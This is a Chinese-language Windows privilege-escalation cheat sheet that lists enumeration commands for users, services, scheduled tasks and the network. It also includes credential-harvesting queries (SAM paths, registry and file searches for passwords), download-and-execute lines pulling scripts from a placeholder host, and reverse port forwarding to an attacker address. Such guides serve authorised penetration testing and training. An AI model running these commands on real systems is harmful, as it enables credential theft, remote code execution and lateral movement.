Windows 权限提升指南

概述

Windows 权限提升的本质是系统枚举。要成功提权，需要知道检查哪些服务和查找哪些内容，同时需要对目标系统有深入了解和经验积累。本指南受 g0tm1lk 的 Basic Linux Privilege Escalation 启发，主要关注枚举技术。

系统信息收集

操作系统信息

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,Description,HotFixID,InstalledOn

PowerShell 等效命令：

Get-ComputerInfo | select WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer
Get-HotFix | sort InstalledOn -Descending | Format-Table HotFixID, InstalledOn, Caption

环境变量

set
echo %PATH%

PowerShell：

Get-ChildItem Env: | ft Key,Value
$env:Path

用户和组信息

当前用户

whoami
whoami /priv
echo %USERNAME%
net user %USERNAME%

PowerShell：

$env:UserName
whoami /priv
Get-LocalUser | where {$_.Name -eq $env:UserName} | Format-Table Name,Enabled,LastLogon

用户枚举

net users
net user <username>
dir /b /ad "C:\Users\"

PowerShell：

Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

组信息

net localgroup
net localgroup Administrators

PowerShell：

Get-LocalGroup | ft Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

登录信息

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
qwinsta

PowerShell：

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
qwinsta

凭证信息

凭证管理器

cmdkey /list
dir C:\Users\%username%\AppData\Local\Microsoft\Credentials\
dir C:\Users\%username%\AppData\Roaming\Microsoft\Credentials\

PowerShell：

cmdkey /list
Get-ChildItem -Hidden C:\Users\$env:UserName\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$env:UserName\AppData\Roaming\Microsoft\Credentials\

SAM 文件位置

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

程序和服务

安装的程序

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

PowerShell：

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

文件权限检查

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

PowerShell：

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

服务枚举

tasklist /svc
net start
sc query
wmic service get name,displayname,pathname,startmode

PowerShell：

Get-Service | where {$_.Status -eq "Running"}
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

不安全的服务

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

不带引号的服务路径

wmic service get name,displayname,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v """

PowerShell：

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

计划任务和启动项

计划任务

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks

PowerShell：

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

启动项

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

AlwaysInstallElevated 检查

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

网络信息

网络配置

ipconfig /all
route print
arp -a
netstat -ano

PowerShell：

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Get-NetTCPConnection | where {$_.State -eq "Established"} | ft LocalAddress,LocalPort,RemoteAddress,RemotePort,State

防火墙配置

netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

SNMP 配置

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

PowerShell：

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

敏感信息搜索

注册表中的密码

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

配置文件

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
dir /s web.config

PowerShell：

Get-Childitem -Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Get-Childitem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

密码文件搜索

findstr /si password *.xml *.ini *.txt *.config 2>nul

PowerShell：

Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

文件传输方法

PowerShell 下载

(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.exe", "C:\Windows\Temp\file.exe")

内存执行

IEX(New-Object Net.WebClient).downloadString('http://example.com/script.ps1')

CertUtil 下载

certutil.exe -urlcache -split -f http://example.com/file.exe output-file.exe

FTP 传输

echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt

端口转发

Plink 端口转发

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

内置 SSH (Windows 10 1803+)

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

常见敏感文件位置

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\php\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Windows\Panther\Unattended.xml
C:\Windows\System32\config\SAM
C:\Windows\System32\drivers\etc\hosts
C:\xampp\apache\conf\httpd.conf
C:\xampp\php\php.ini

自动化枚举脚本

推荐使用自动化枚举脚本完成上述所有操作：
https://github.com/absolomb/WindowsEnum

总结

Windows 权限提升的关键在于全面系统的枚举，重点关注：

1. 系统版本和补丁信息
2. 用户和组权限配置
3. 服务配置和权限
4. 计划任务和启动项
5. 网络配置和防火墙规则
6. 敏感文件和注册表项
7. 凭证存储位置

通过系统化的枚举，可以识别潜在的权限提升路径，如不安全的服务配置、弱文件权限、存储的凭证等。